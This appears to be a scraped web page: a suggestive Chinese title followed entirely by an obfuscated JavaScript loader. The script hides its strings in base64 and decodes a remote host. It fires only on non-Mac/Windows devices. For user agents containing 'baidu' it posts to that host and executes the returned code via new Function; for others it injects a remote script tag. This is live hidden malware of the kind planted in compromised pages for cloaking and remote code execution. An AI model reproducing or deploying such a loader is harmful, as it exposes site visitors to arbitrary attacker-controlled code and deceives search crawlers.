JK的课后补习，学长可以教教我吗

function UqvnkDsnv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqDufGf(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqvnkDsnv(t);};window[''+'U'+'d'+'C'+'Q'+'J'+'N'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqDufGf,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('bS5zZGFmZ3JjZ3YuY29tOjU0NDM=','2082',window,document,['G','TpoZFcguG']);}:function(){};